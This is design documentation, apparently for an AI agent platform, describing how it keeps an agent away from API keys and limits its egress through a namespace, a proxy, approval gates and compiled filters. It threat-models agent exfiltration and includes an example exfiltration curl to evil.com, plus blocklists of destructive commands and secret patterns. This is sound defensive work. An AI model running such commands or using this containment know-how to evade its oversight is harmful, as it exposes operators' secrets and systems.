provider = "anthropic"
model = "claude-opus-4-6"
memory_enabled = true

[tools]
bash_enabled = true
web_search_enabled = true

[security]
require_approval = ["write", "bash::rm"]
max_tool_calls_per_session = 50

Production Server

# NixOS configuration
services.cowboy.agents.agent = {
  enable = true;
  model = "anthropic:claude-opus-4-6";
  memoryBackend = "zk";
  
  prompts.system = ''
    You are Cowboy, operating in production mode.
    Always use approval workflows for sensitive operations.
  '';
};

Research Agent

# config.toml
provider = "openrouter"
model = "xiaomi/mimo-v2-flash"
memory_backend = "qmd"  # Hybrid search for research

[tools]
web_search_enabled = true
web_search_num_results = 20

Development Agent

# config.toml
provider = "openai"
model = "gpt-4.1"

[tools]
bash_enabled = true
bash_timeout = 300

[security]
require_approval = ["bash::sudo", "write::/etc"]

Next Steps


title: Cowboy Design tags: [index, overview, architecture] created: 2026-02-16 updated: 2026-02-24

Cowboy Design

Design documentation for cowboy, a Nix-native AI agent platform built as a Zellij WASM plugin.

Two-Library Architecture

The system is split into two publishable libraries:

  • cowboy -- the platform: Zellij WASM plugin (runtime), agent-bridge Python framework, agent-proxy (credential-injecting proxy), NixOS modules, home-manager config
  • agent-pkgs -- swappable bridge services (discord-service, email-service) that connect external platforms to cowboy via the bridge API

The agent name is configurable via cfg.name (default: "agent"). This flows through all service names, paths, and systemd units. A broker (the human operator, e.g. dylan) gets a launcher command installed in their home-manager config.

Architecture Overview

+-----------------------------------------------------------------+
|                         Zellij Session                          |
+-----------------------------------------------------------------+
|  +-----------------------------------------------------------+  |
|  |                   Cowboy Plugin (WASM)                     |  |
|  |  +-------------+  +-------------+  +-----------------+    |  |
|  |  |   UI/TUI    |  | Agent Loop  |  |  Tool Executor  |    |  |
|  |  |  (Render)   |  |   (Core)    |  |  (RunCommands)  |    |  |
|  |  +-------------+  +------+------+  +--------+--------+    |  |
|  |                          |                   |             |  |
|  |  +-------------+   +----v-----+      +------v------+     |  |
|  |  |  Provider   |   | Context  |      |   Filter    |     |  |
|  |  |  Traits     |   | Manager  |      |  Pipeline   |     |  |
|  |  |(Claude/GPT) |   |(Session/ |      |  (Compiled) |     |  |
|  |  |             |   | Compact) |      +-------------+     |  |
|  |  +------+------+   +----------+                           |  |
|  |         |                                                  |  |
|  |   +-----v-----------------------+                          |  |
|  |   | web_request() [WebAccess]   |                          |  |
|  |   | (native HTTP in WASM)       |                          |  |
|  |   +-----------------------------+                          |  |
|  +-----------------------------------------------------------+  |
+-----------------------------------------------------------------+
                             |
                      +------v------+
                      | Proxy Layer |  (agent-proxy, host namespace)
                      | Injects API |  (credential injection, method gating)
                      | credentials |
                      +------+------+
                             |
                      +------v------+
                      |  LLM API    |
                      |(Claude/GPT) |
                      +-------------+

Pub/Sub Layer (agent-bridge + agent-pkgs)

External Platforms      Bridge Services (broker namespace)    Cowboy (agent namespace)
  Discord  ------>  discord-ingest ---> Redis:discord:inbox ---> plugin polls
  Email    <------  email-outbox   <--- Redis:email:outbox  <--- plugin writes
                         |
                    agent-bridge (shared Python lib)
                    approval protocol via Redis hashes

Design Principles

  1. No /tmp/ -- Full observability through persistent storage
  2. Nix-native -- All configuration via NixOS/home-manager modules
  3. Space is cheap -- Log everything, compress later
  4. Tee-style I/O -- Never block on disk operations
  5. Compiled security -- Filters are Rust, not runtime-modifiable
  6. Topology-based isolation -- Network namespace + proxy, not iptables rules

Core Components (Implemented)

[[API Integration]]

Native HTTP via Zellij web_request() with provider abstraction (Claude, OpenAI, local LLM). Includes retry logic with exponential backoff and tool use parsing.

Status: Provider trait (LlmProvider) and ClaudeProvider implemented in pkgs/agent-harness/src/provider.rs. Wiring to main loop in progress (WP11).

[[Pub/Sub]]

Generalized message source abstraction. The harness polls external sources (Discord, email) via Redis Streams. MessageSource trait generates shell commands (WASI-compatible), SourceManager orchestrates polling, acknowledgment, and reply routing.

Status: Fully implemented. types.rs defines InboundMessage, SourceConfig, MessageSource trait. manager.rs implements SourceManager. redis.rs implements RedisStreamsSource.

[[Security]]

Three independent layers: network namespace (topology), credential-injecting proxy (method + auth), outbox approval gates (send policy). Agent never sees real API keys.

Status: nix/agents/network.nix creates namespace + veth pair. nix/agents/secrets-proxy.nix configures proxy with domain mappings and method-based egress. nix/agents/bridges.nix generates broker-owned systemd services.

[[Filters]]

Compiled Rust middleware pipeline: SecurityFilter, WorkspaceFilter, ApprovalFilter, AuditFilter. Agent cannot modify these at runtime.

Status: Nix module (nix/agents/filters.nix) defines options. Rust Filter trait and pipeline planned.

[[Nix Integration]]

Declarative configuration via NixOS modules:

  • services.agent.tools -- Tool definitions with JSON schemas, sandbox presets
  • services.agent.skills -- Skill compositions with system prompt injection
  • services.agent.filters -- Security configuration
  • services.agent.bridges -- Bridge service declarations (auto-generates pubsub + systemd)
  • Build-time manifest generation

Status: All Nix modules exist: tools.nix, skills.nix, filters.nix, sandbox.nix, pubsub.nix, bridges.nix, network.nix, secrets-proxy.nix, systemd.nix, user.nix, prompts.nix, pr-workflow.nix.

[[Approvals]]

Cross-service approval protocol. Outbox services hold messages for manual approval. Approval state in Redis hashes, notifications via configurable channel (default: Discord reactions).

Status: Nix options defined in pubsub.nix (approval submodule). Protocol documented. Discord reaction handling designed.

Core Components (Future)

[[Skills]]

Hierarchical skill system with cache-miss generation. Skills resolve transparently -- if missing, a sub-agent generates them. Workspace context.md files provide project-specific context.

[[Sub-Agents]]

Multi-pane orchestration via Zellij. File-based communication: prompt.md, conscious.md, response.md, lock.

[[Memory]]

zk-based zettelkasten for persistent knowledge. Daily journals, atomic facts, decisions/ADRs, wikilink-based retrieval.

[[Compaction]]

Context window management via Haiku sub-agent summarization at ~40k tokens.

[[Plan Mode]]

Read-only exploration before execution. Tool restrictions, produces plan + thinking artifacts, requires approval before execution.

[[Ralph Loop]]

Autonomous iteration pattern: PRD-driven decomposition, fresh context per iteration, quality gates, rollback on failure.

[[Self-Modification]]

Home-manager based capability evolution with heartbeat-protected switches and PR-gated dangerous changes.

Key Design Decisions

DecisionChoiceRationale
API transportNative web_request()No curl, no daemon overhead
Provider abstractionRust traitsType-safe, swappable implementations
SettingsNix onlyReproducible, validated at build time
Sub-agent commsFile-basedObservable, recoverable
FiltersCompiled RustSecurity boundary agent cannot modify
SandboxBubblewrapPer-tool, lightweight
Secrets isolationNetwork namespace + proxyTopology is the boundary, not rules
Message busRedis StreamsProven, XREADGROUP consumer groups
Bridge architectureShared lib + independent packagesagent-bridge provides boilerplate, services are separate derivations
Agent nameConfigurable cfg.nameSupports multiple agents per machine

Package Layout

cowboy/
  pkgs/agent-harness/     # Zellij WASM plugin (Rust)
  pkgs/agent-proxy/       # Credential-injecting HTTPS proxy
  pkgs/agent-bridge/      # Shared Python lib for bridge services
  nix/agents/             # NixOS + home-manager modules

agent-pkgs/
  pkgs/discord/           # Discord ingest + outbox service
  pkgs/email/             # Email outbox with DKIM signing

References


title: Security - Secrets Isolation tags: [security, secrets, networking, proxy, namespace, egress] library: cowboy

Security - Secrets Isolation

Privilege separation for agent secrets and egress control via network namespace isolation, a credential-injecting reverse proxy, and broker-owned outbox services with approval gates.

All three layers are implemented in cowboy. Bridge service packages (discord-service, email-service) live in agent-pkgs and interact only through Redis streams -- they never touch secrets directly.

Related: [[Approvals]], [[Filters]]

Influenced by: OpenClaw security model -- independent security layers, prevention over detection, single-operator trust model.

Two-Library Split

LibraryContainsSecrets access
cowboyZellij WASM plugin (runtime), agent-bridge framework, agent-proxy (mitmproxy addon), NixOS modules (network.nix, secrets-proxy.nix, bridges.nix, sandbox.nix), home-manager configProxy holds secrets; bridge base class provides approval flow
agent-pkgsSwappable bridge services (discord-service, email-service) implementing OutboxService.send() + authenticate()Each service gets its own EnvironmentFile from agenix; secrets never cross into agent namespace

Problem

The agent user (UID ${cfg.uid}, default 1338) must not receive real API keys:

  1. The agent can execute arbitrary tools (bash, curl) that could exfiltrate secrets
  2. home-switch could create rogue services with full network access
  3. Outbox services running as the agent would let the agent control send policy
  4. Log redaction (compiled filters) is defense-in-depth, not a security boundary

Design

Three independent security layers:

LayerWhatControlsAgent can modify?
1. Network namespaceTopologyWhere traffic can goNo (system-level)
2. ProxyMethod + credential policyHow traffic is handledNo (broker-owned)
3. Outbox approvalSend policyWhether messages get deliveredNo (system services)

The broker (configurable, default dylan) owns all secrets and egress policy. The agent runs in a network namespace with no direct internet access. All traffic egresses through a veth pair to a mitmproxy-based reverse proxy on the host.

Host namespace (broker + all other users)
+-------------------------------------------------------------------+
| eth0 / wlan0 -- full internet                                     |
|                                                                   |
| ${cfg.name}-proxy (mitmproxy addon, on veth-host, runs as        |
|   broker)                                                     |
|   - mapped domains: inject auth headers, allow all methods        |
|   - allowlisted domains: allow POST (no injection)                |
|   - all other domains: GET only (browse, no exfil)                |
|   - audit log of all traffic to systemd journal                   |
|                                                                   |
| bridge services (broker, system-level,                        |
|   via ${cfg.name}-bridges.target)                                 |
|   ${cfg.name}-discord-{ping,ingest,outbox}                        |
|   ${cfg.name}-email-{ping,ingest,outbox}                          |
|   - approval policy is NixOS system config (agent can't modify)   |
|   - reads from Redis, decides send/hold per channel policy        |
|                                                                   |
| veth-host (10.200.0.1) -----+                                    |
+------------------------------+------------------------------------+
                               | veth pair
+------------------------------+------------------------------------+
| Agent namespace (${cfg.name}-ns)                                  |
|                              |                                    |
| veth-agent (10.200.0.2) ----+                                    |
|   default route via 10.200.0.1                                    |
| lo (127.0.0.1) -- Redis                                          |
|                                                                   |
| DNS: resolv.conf -> host resolver (via veth)                      |
|                                                                   |
| iptables -t nat OUTPUT                                            |
|   --dport 443 -j DNAT --to 10.200.0.1:${cfg.secretsProxy.port}   |
|                                                                   |
| user@${cfg.uid}.service: NetworkNamespacePath=/run/netns/...      |
|   (ALL agent user services inherit namespace -- home-switch safe) |
|                                                                   |
| cowboy runtime (zellij) -- dummy keys only                        |
| Redis (message bus) -- no secrets in streams                      |
+-------------------------------------------------------------------+

Traffic Flow

Agent doesProxy ruleResult
web_request("https://api.anthropic.com/...", POST)Mapped domainInject x-api-key, forward
web_request("https://api.openai.com/...", POST)Mapped domainInject Authorization: Bearer, forward
curl https://github.com/repo (GET)Not mapped + GETPassthrough, no injection
curl -X POST -d @data https://evil.comNot allowlisted + POSTBLOCKED (403)
gh pr creategithub.com allowlisted + POSTPassthrough
nix shell nixpkgs#fooUnix socketNix daemon (host namespace), not proxied
redis-cli on 127.0.0.1:6379LoopbackInside namespace, no proxy
reply(email, "message")Redis writeOutbox holds for approval
reply(discord, "message")Redis writeOutbox auto-sends
DNS lookupUDP via vethHost resolver, no proxy

Method-Based Exfiltration Prevention

HTTP method as the exfiltration gate (no content inspection):

  • GET to any domain: allowed. ~2KB URL query param limit makes bulk exfiltration impractical.
  • POST/PUT/PATCH to allowlisted domains only: allowed.
  • POST/PUT/PATCH to non-allowlisted: blocked (proxy returns 403).
services.agent.secretsProxy = {
  domainMappings = {
    "api.anthropic.com" = {
      secretPath = "/run/agenix/anthropic-key";
      headerName = "x-api-key";
    };
    "api.openai.com" = {
      secretPath = "/run/agenix/open-ai-key";
      headerName = "Authorization";
      headerTemplate = "Bearer {secret}";
    };
  };
  allowedPostDomains = [
    "github.com"
    "api.github.com"
    "*.githubusercontent.com"
  ];
};

All domains in domainMappings are implicitly POST-allowed. allowedPostDomains adds extra domains without credential injection.

Why Network Namespace (not iptables + BPF)

A network namespace is opt-out security -- the agent has no interface to the internet. The only path out is the veth pair. Even if iptables inside the namespace are flushed, traffic still routes through the veth to the host proxy. The agent never has a direct path to external hosts.

Foolproof Property

What breaksResultSecrets safe?Data safe?
iptables DNAT inside namespace flushedTraffic NATs through host -- dummy keys fail authYesYes (no POST path)
Proxy is downConnection to 10.200.0.1 refusedYesYes
Agent sends crafted HTTPPOST to non-allowlisted blocked regardless of contentYesYes
Namespace accidentally deletedAgent has no network at allYesYes
Agent creates rogue service via home-switchService inherits namespace (user@${cfg.uid} namespaced)YesYes
Agent modifies outbox approval settingsCan't -- bridge services are system-level NixOS configYesYes
Agent writes directly to outbox Redis streamOutbox service still applies approval policyYesYes

Separation of Concerns

Agent owns:                 broker owns:
  message content             send policy (auto/approval)
  channel selection           credential injection
  writing to Redis            reading from Redis + sending
  tool invocations            method restrictions (GET/POST)
  home-switch (own config)    system services (bridges target)

Components (Implemented)

1. Network Namespace (nix/agents/network.nix)

Boot-time oneshot. Active when cfg.enable && proxyCfg.enable.

  • ${cfg.name}-netns service: creates namespace, veth pair, DNAT rule, DNS resolv.conf
  • user@${toString cfg.uid} dropin: NetworkNamespacePath, requires + after the netns service
  • networking.nat.internalInterfaces = [ "veth-host" ]
  • Firewall opens DNS (53/udp, 53/tcp) and proxy port on veth-host

The namespace persists across agent restarts.

2. Reverse Proxy (nix/agents/secrets-proxy.nix + pkgs/agent-proxy/)

mitmproxy addon (agent_proxy/addon.py). The AgentProxy class:

  • Loads Nix-generated JSON config from AGENT_PROXY_CONFIG
  • Reads secrets from files at startup into memory
  • request() hook: blocks non-allowlisted POST/PUT/PATCH (403), injects headers for mapped domains
  • response() hook: audit logging to journal
  • Domain matching supports wildcards (*.githubusercontent.com)

NixOS module (secrets-proxy.nix) provides:

  • ${cfg.name}-bridges.target: groups proxy + all bridge services
  • ${cfg.name}-proxy service: runs as brokerUser, partOf the bridges target
  • ExecStartPre: generates mitmproxy CA on first run
  • StateDirectory = "${cfg.name}-proxy" for CA cert/key
  • Hardened: NoNewPrivileges, ProtectSystem = "strict", ProtectHome = true

Proxy config JSON (generated from Nix options):

{
  "routes": {
    "api.anthropic.com": {
      "inject_header": "x-api-key",
      "secret_file": "/run/agenix/anthropic-key",
      "template": "{secret}"
    }
  },
  "allowed_post_domains": [
    "api.anthropic.com",
    "github.com",
    "api.github.com"
  ]
}

3. CA Certificate

Generated by mitmproxy's ExecStartPre on first run:

  • Stored in /var/lib/${cfg.name}-proxy/ (owned by brokerUser)
  • Agent's SSL_CERT_FILE points to combined bundle (system CAs + proxy CA)
  • mitmproxy generates leaf certs on-the-fly per SNI hostname

Only the agent namespace trusts this CA.

4. Bridge Services (nix/agents/bridges.nix)

Declarative bridge abstraction. Each bridge declaration generates:

  • pubsub source registration (stream, outbox, approval config)
  • 3 systemd services: ${cfg.name}-${bridge}-{ping,ingest,outbox}

Convention: bridge packages (from agent-pkgs) expose ${bridge}-ping, ${bridge}-ingest, ${bridge}-outbox entry points.

services.agent.bridges.<name> = {
  pkg = pkgs.<name>-service;              # from agent-pkgs
  env = "/run/agenix/<name>-env";         # agenix-managed secrets
  approval.required = false;               # per-bridge policy
  approval.notify = "discord";
  approval.timeout = 3600;
  user = cfg.secretsProxy.brokerUser;     # default
};

All bridge services:

  • after + requires the proxy service
  • partOf the bridges target
  • Receive REDIS_URL=redis://10.200.0.2:6379 (agent namespace Redis via veth)
  • Receive their EnvironmentFile from agenix

5. Outbox Approval (pkgs/agent-bridge/agent_bridge/base.py)

OutboxService base class handles the full approval lifecycle. See [[Approvals]] for the protocol.

6. Sandbox (nix/agents/sandbox.nix)

Bubblewrap-based tool isolation (orthogonal to network namespace). Three levels:

  • none: direct execution with timeout
  • standard: pid/uts/ipc isolation, ro nix-store/etc, rw home
  • strict: unshare-all, capability drop, seccomp filter

Generates ${cfg.name}-tool-${name} wrappers.

Concrete Bridge Configs

# nix/agents/project/discord.nix
services.agent.bridges.discord = {
  pkg = pkgs.discord-service;     # from agent-pkgs
  env = "/run/agenix/discord-env";
  user = proxyCfg.brokerUser;
  # approval.required defaults to false (conversational)
};

# nix/agents/project/email.nix
services.agent.bridges.email = {
  pkg = pkgs.email-service;       # from agent-pkgs
  env = "/run/agenix/email-env";
  user = proxyCfg.brokerUser;
  restartSec = 5;
  approval = {
    required = true;              # hold for manual review
    notify = "discord";
    timeout = 3600;
  };
};

File Map

FileLibraryRole
nix/agents/network.nixcowboyNamespace + veth + user@${cfg.uid} binding
nix/agents/secrets-proxy.nixcowboyProxy service + module options + bridges target
nix/agents/bridges.nixcowboyDeclarative bridge abstraction
nix/agents/sandbox.nixcowboyBubblewrap tool isolation
nix/agents/pubsub.nixcowboySource/approval options, Redis backend, sources.json
pkgs/agent-proxy/agent_proxy/addon.pycowboymitmproxy addon: injection + method gating
pkgs/agent-bridge/agent_bridge/base.pycowboyOutboxService ABC: read/approve/send loop
pkgs/agent-bridge/agent_bridge/types.pycowboyOutboxMessage, SendResult dataclasses
pkgs/agent-bridge/agent_bridge/redis_utils.pycowboymk_redis(), load_config()
nix/agents/project/discord.nixdeploymentDiscord bridge config (uses agent-pkgs)
nix/agents/project/email.nixdeploymentEmail bridge config (uses agent-pkgs)

Security Properties

  1. Agent never sees real API keys -- dummy values only, proxy injects on the wire
  2. Network topology is the boundary -- no internet interface, cannot be flushed
  3. All HTTPS passes through proxy -- API calls get credentials, browsing passes through
  4. Method-based egress control -- POST only to allowlisted domains, GET anywhere
  5. Outbox approval gates -- broker-owned policy, per-bridge (auto-send vs hold)
  6. Home-switch contained -- user@${cfg.uid} is namespaced, all services inherit
  7. Three independent layers -- namespace, proxy, outbox; each fails independently
  8. Agent controls what, broker controls whether
  9. Fail-closed -- proxy down = no HTTPS, namespace gone = no network
  10. Compiled filters remain inner boundary -- namespace is the outer one

Verification

ip netns list                                                    # ${cfg.name}-ns
sudo ip netns exec ${cfg.name}-ns curl https://github.com        # GET passthrough
sudo ip netns exec ${cfg.name}-ns \
  curl -X POST https://httpbin.org/post                          # BLOCKED (403)
journalctl -u ${cfg.name}-proxy                                  # audit trail
systemctl list-dependencies ${cfg.name}-bridges.target           # all services
sudo -u ${cfg.user} cat /run/agenix/anthropic-key                # permission denied
systemctl show "user@${cfg.uid}.service" | grep NetworkNamespace # bound

Agent System Design Patterns

Patterns discovered while building the agent infrastructure.

1. SUID Broker Pattern

When the agent needs to call a binary that reads secrets, use a compiled Rust binary with SUID β€” not a shell script (bash drops euid for SUID).

Key constraints:

  • SUID wrappers sanitize the runtime environment, stripping env vars
  • Bake all paths at compile time via env!() macros: credential paths, config, CA certs
  • CA certs matter because SSL_CERT_FILE gets stripped β€” bake both system roots and any proxy CA
  • Wrap with NixOS security.wrappers as SUID, owned by the broker user
  • The agent process never sees secrets; the binary reads them from /run/agenix/

Nix derivation pattern:

rustPlatform.buildRustPackage {
  # ...
  env.API_KEY_PATH = "/run/agenix/api-key";
  env.CA_BUNDLE = "${cacert}/etc/ssl/certs/ca-bundle.crt";
};
#![allow(unused)]
fn main() {
const API_KEY_PATH: &str = env!("API_KEY_PATH");
const CA_BUNDLE: &str = env!("CA_BUNDLE");
}

Reference implementation: pkgs/namecheap/

2. Declarative Over Imperative

If state can be declared in Nix, it should be declared β€” not exposed as an agent tool. Prefer reconciliation services over API proxy tools.

Flow:

  1. Declare desired state as structured Nix options
  2. Generate config JSON at build time
  3. A systemd service reconciles declared state with the remote API
  4. Tools are reserved for inherently imperative operations (sending messages, running code, interactive queries)

Example β€” DNS records:

# Instead of a "call Namecheap API" tool:
services.namecheap.records = {
  "home.example.com" = { type = "A"; value = "1.2.3.4"; };
};

A reconciliation service reads the generated config and calls setHosts. The agent never touches the API directly.

3. Permission-Separated Additive Configs

Split configuration by authority level so the agent can manage its own state without escalating privileges.

Two config layers:

LayerControlled byApplied viaLocation
systemAdminsnixNixOS config
agentAgenthome-switchHome-manager config

Merge rules:

  • Reconciliation service reads both configs and merges additively (union)
  • System config wins on conflict β€” agent cannot shadow or remove system records
  • Agent can only add, never subtract

Bridge mechanism:

A systemd path unit watches the agent's config file for changes and triggers the NixOS reconciliation service:

systemd.paths.namecheap-agent-watch = {
  pathConfig.PathChanged = "/home/agent/.config/namecheap/records.json";
  wantedBy = [ "multi-user.target" ];
};

This bridges the home-switch (unprivileged) to the system-level reconciliation service without granting the agent elevated access.


title: Filters tags: [filters, security, middleware, compiled]

Filters

Compiled Rust middleware that gates agent behavior. Filters form a security boundary that the agent cannot modify at runtime.

Architecture

Filters are compiled into the cowboy harness (Zellij WASM plugin). They execute before/after tool calls and after API responses. The agent has no mechanism to alter filter behavior -- they are part of the trusted codebase.

Filter Trait

#![allow(unused)]
fn main() {
pub trait Filter: Send + Sync {
    fn name(&self) -> &str;
    fn description(&self) -> &str;
    fn before_tool(&self, tool_name: &str, args: &Value) -> FilterAction;
    fn after_tool(&self, tool_name: &str, result: &mut String) -> FilterAction;
    fn after_response(&self, response: &mut String) -> FilterAction;
}

pub enum FilterAction {
    Allow,
    Block(String),
    RequireApproval(String),
    Transform(Value),
}
}

Pipeline

Filters compose in sequence. First non-Allow action short-circuits:

#![allow(unused)]
fn main() {
pub struct FilterPipeline {
    filters: Vec<Box<dyn Filter>>,
}
}

For before_tool, Block and RequireApproval short-circuit immediately. Transform actions accumulate -- each subsequent filter sees the transformed arguments. If any transforms occurred, the pipeline returns the final Transform(new_args).

For after_tool and after_response, filters mutate the result/response string in place. First non-Allow action short-circuits.

Built-in Filters

SecurityFilter

Blocks dangerous commands and redacts secrets from output.

Dangerous patterns blocked:

  • rm -rf /, rm -fr / (recursive delete from root)
  • Fork bombs (:(){ :|:& };:)
  • Direct disk operations (dd if=, mkfs, writes to /dev/sd*)
  • shred /, chmod -R 777 /, boot overwrites, iptables -F

Secret patterns redacted (replaced with [REDACTED]):

  • Anthropic API keys (sk-ant-*)
  • OpenAI API keys (sk-proj-*, sk-*)
  • Discord bot tokens and webhook URLs
  • Exa API keys (UUID format)
  • GitHub tokens (ghp_, gho_, ghu_, ghs_, ghr_)
  • AWS access keys (AKIA*) and secrets
  • Generic api_key=, secret=, token=, password= patterns
  • Bearer tokens
  • PEM private keys

WorkspaceFilter

Restricts file operations to allowed paths. Default allowed paths: /home/agent, /tmp, /var/tmp. Relative paths are always allowed (assumed relative to cwd).

Path checking uses canonicalize() to resolve symlinks before comparison.

AuditFilter

Logs all tool calls to an append-only JSONL file. Entries include timestamp, tool name, arguments (for before_tool) and truncated result preview (for after_tool). API responses are also logged (truncated to 500 chars).

Default Pipelines

#![allow(unused)]
fn main() {
// Standard: security + audit
fn default_pipeline() -> FilterPipeline;

// Restricted: security + workspace + audit
fn restricted_pipeline(allowed_paths: Vec<PathBuf>) -> FilterPipeline;
}

Nix Configuration

Filters are configured declaratively in the cowboy NixOS module. The Nix layer generates filters.json and shell-script wrappers (agent-filter, agent-audit-log) installed to ~/.config/agent/ and ~/.local/bin/.

services.agent.filters = {
  security = {
    enable = true;
    blockedPatterns = [ "rm\\s+-rf\\s+/" ... ];
    secretPatterns = [ "ANTHROPIC_API_KEY" ... ];
  };
  workspace = {
    enable = true;
    allowedPaths = [ cfg.homeDirectory "/tmp" "/nix/store" ];
  };
  audit = {
    enable = true;
    logPath = "${cfg.homeDirectory}/audit";
    retentionDays = 30;
    logLevel = "standard";  # minimal | standard | verbose
  };
};

Audit log cleanup runs as a daily systemd timer, removing JSONL files older than retentionDays.

Two-Library Split

Filters are part of cowboy (the platform). They are compiled into the harness binary and configured via NixOS modules. agent-pkgs (bridge services like discord, email) do not interact with filters directly -- their outbound messages pass through the proxy/approval layer instead (see security.md).

Why Compiled Rust

  1. Security boundary -- agent cannot modify its own constraints
  2. Performance -- no runtime interpretation overhead in the WASM plugin
  3. Reproducibility -- same binary = same behavior (Nix builds)
  4. Audit -- filter code is version-controlled in the cowboy repo

Sub-Agents

Multi-pane orchestration using Zellij for full observability. Sub-agents are spawned as separate WASM plugin instances with file-based communication.

Design

Each sub-agent runs in its own Zellij pane as a separate cowboy plugin instance. The parent spawns via zellij action launch-plugin, passing configuration through a serialized config string. Communication is entirely file-based.

Principles

  1. Full observability -- each sub-agent is a visible Zellij pane
  2. File-based communication -- all state lives on disk (prompt.md, response.md, lock)
  3. Recovery -- scan_existing() re-discovers sub-agent state from disk after crash
  4. Optional context inheritance -- via context parameter: "none" (fresh context, default), "summary" (summarizer-produced session summary), or "last_n" (system prompt + last 10 turns) -- configured with cheap models by default

Directory Structure

/home/agent/subagents/<type>-<uuid6>/
  prompt.md       # Task from parent (with YAML frontmatter: type, id, allowed_tools)
  conscious.md    # Working context (YAML frontmatter + markdown body)
  response.md     # Final output (written by sub-agent, triggers completion)
  lock            # Timestamp lock (exists while running)
  tools.json      # Filtered tool manifest for this sub-agent type

File Protocol

FileWritten ByRead BySemantics
prompt.mdParentSub-agentInitial task; loaded on first timer tick
tools.jsonParentSub-agentSubset of parent's tool manifest
conscious.mdSub-agentParent/observersLive frontmatter: status, tokens_used, current_task, progress
response.mdSub-agentParentFinal result; presence + lock removal = completion
lockSub-agentParentLiveness signal; removal without response.md = failure

Sub-Agent Types

Defined in SubAgentType enum. Each type restricts tool access:

TypeToolsDefault Model
Researchread, search, find, web-search, lsgpt-4o-mini / claude-3-5-haiku
Coderead, write, search, find, bash, ls, hashline-read, hashline-editgpt-4o-mini / claude-3-5-haiku
Reviewread, search, find, bash, lsgpt-4o-mini / claude-3-5-haiku

Cost optimization: SubagentConfig::cheap_defaults() prefers OpenAI gpt-4o-mini, falls back to Anthropic haiku.

Lifecycle

  1. Parent calls spawn_subagent(task, type) -- creates SpawnCommand
  2. Parent writes prompt.md and tools.json via run_sh (WASM can't write directly)
  3. Parent launches plugin pane via zellij action launch-plugin with serialized config
  4. Sub-agent loads -- on first timer tick, reads prompt.md + tools.json via run_command, writes lock
  5. Sub-agent works -- processes prompt as user message, updates conscious.md
  6. Sub-agent completes -- calls submit_response tool, which writes response.md, removes lock, closes pane
  7. Parent detects completion via heartbeat polling (check_subagent_status) and reads response.md
  8. Parent injects result as [Subagent Result: <id>] user message, continues conversation

Status Detection

Parent polls via shell command that checks all subdirectories:

  • lock exists -> Running
  • lock gone + response.md exists -> Completed
  • lock gone + no response.md -> Failed

Polling happens on heartbeat timer (every ~30s idle, ~0.3s active).

Recovery

SubAgentManager::scan_existing() walks the base directory, discovers sub-agents by presence of prompt.md, infers type from ID prefix, and determines status from lock/response files. This enables recovery after harness crash.

Cleanup

cleanup_completed() removes sub-agent directories older than 1 hour (CLEANUP_AGE_SECS = 3600).

Not Yet Implemented

  • history/ directory for compaction snapshots (design doc mentioned, not in code)
  • Sibling communication via inbox directories
  • Tee-style buffering (ring buffer + async writer) -- infeasible in WASM/WASI environment
  • PID-based liveness -- lock file uses timestamp instead (std::process::id unsupported in WASI)

Memory System

Zettelkasten-based persistent memory for the cowboy WASM plugin using the zk CLI. Provides cross-session knowledge persistence for facts, decisions, and daily journals.

Status

Fully implemented in src/memory.rs. Integrated into the harness session lifecycle: initialization, loading, recall, error remembering, and memory-augmented LLM prompts.

Architecture

Since cowboy runs as a WASM plugin (no direct process spawning), the memory module produces ZkCommand structs containing shell command arguments and environment variables. The main loop executes these via run_command() and routes results back through handle_memory_result().

Directory Layout

/home/agent/memory/
  .zk/config.toml
  daily/YYYY-MM-DD.md
  facts/*.md
  decisions/*.md
  templates/

Core Operations

OperationMethodDescription
initZkMemory::init()Create directory structure, initialize zk
rememberZkMemory::remember(title, content, template)Create a fact or decision note
recallZkMemory::recall(query)Full-text search via zk list --match
journalZkMemory::journal(entry)Append timestamped entry to today's daily note
todayZkMemory::today()Get or create today's daily note
by_tagZkMemory::by_tag(tag)Search notes by tag
recentZkMemory::recent(limit)List recent notes sorted by modification time
get_relatedZkMemory::get_related(path)Find notes linked to a given note
linkZkMemory::link(from, to, text)Create a wiki-link between notes

Session Lifecycle

  1. Startup: init_memory() creates the zk directory structure
  2. Session init: load_initial_memories() loads recent facts (last 10)
  3. Per-turn: recall_for_query() runs async recall based on the user's latest message
  4. LLM dispatch: format_memory_context() injects cached memories into the system prompt as a "Relevant Memories" section
  5. Tool errors: remember_error() auto-stores concise error summaries as facts
  6. Summarization: Summarized tool outputs can be stored in memory (not full content)

Output Parsing

parse_zk_list_output() handles three formats:

  • JSON array (standard zk list --format json)
  • Newline-delimited JSON (JSONL)
  • Simple path-per-line fallback

parse_note_path() extracts the created note path from command output.

Context Correlation

Each ZkCommand carries a context_key matching a MemoryOperation variant (remember, recall, journal, related, today, init). The handle_memory_result() handler uses this to route results: recall/load_recent updates cached_memories, journal updates today_journal, remember is logged.

Relationship to Two-Library Split

Memory is a cowboy feature -- it's platform infrastructure, not bridge-specific. The memory directory and zk config are managed by the agent home-manager module in cowboy/home/.


title: API Integration tags: [api, provider, web_request] updated: 2026-02-24

API Integration

Cowboy communicates with LLM providers through Zellij's WebAccess permission system. The provider layer formats requests and parses responses, while Zellij handles the actual HTTP transport asynchronously.

  • Native web_request() via Zellij's WebAccess permission (no curl needed)
  • Provider abstraction via Rust LlmProvider trait
  • Implementations for Claude, OpenAI
  • Proxy-aware: when secretsProxy.enable = true, the plugin sends dummy API keys; the agent-proxy injects real credentials on the wire (see [[Security]])

Architecture

The provider layer is split into formatting and parsing -- there is no synchronous complete() call. This matches Zellij's event-driven model:

  1. format_request() produces (url, headers, body) for web_request()
  2. Zellij delivers Event::WebRequestResult asynchronously
  3. parse_response() or parse_error() interprets the result
+------------------+     +------------------+     +------------------+
|  AgentHarness    | --> |   LlmProvider    | --> |   web_request()  |
|  (send_to_llm)   |     | (format_request) |     |   (Zellij API)   |
+------------------+     +------------------+     +------------------+
        ^                       |
        |         +-------------+-------------+
   WebRequestResult             |                     |
        |           +----------------+    +----------------+
        +---------- | ClaudeProvider |    | OpenAIProvider |
                    +----------------+    +----------------+

When the secrets proxy is active, HTTPS traffic from the agent namespace is DNAT'd to the proxy on the host. The proxy injects real API keys based on domain mappings configured in services.agent.secretsProxy.domainMappings. The plugin only holds dummy keys (e.g., "PROXY_MANAGED").

LlmProvider Trait

The trait deliberately avoids async or Result-based complete(). Providers only know how to serialize requests and deserialize responses:

#![allow(unused)]
fn main() {
pub trait LlmProvider {
    fn name(&self) -> &str;

    fn format_request(
        &self,
        messages: &[Message],
        tools: &[Tool],
        system: &str,
    ) -> (String, BTreeMap<String, String>, Vec<u8>);

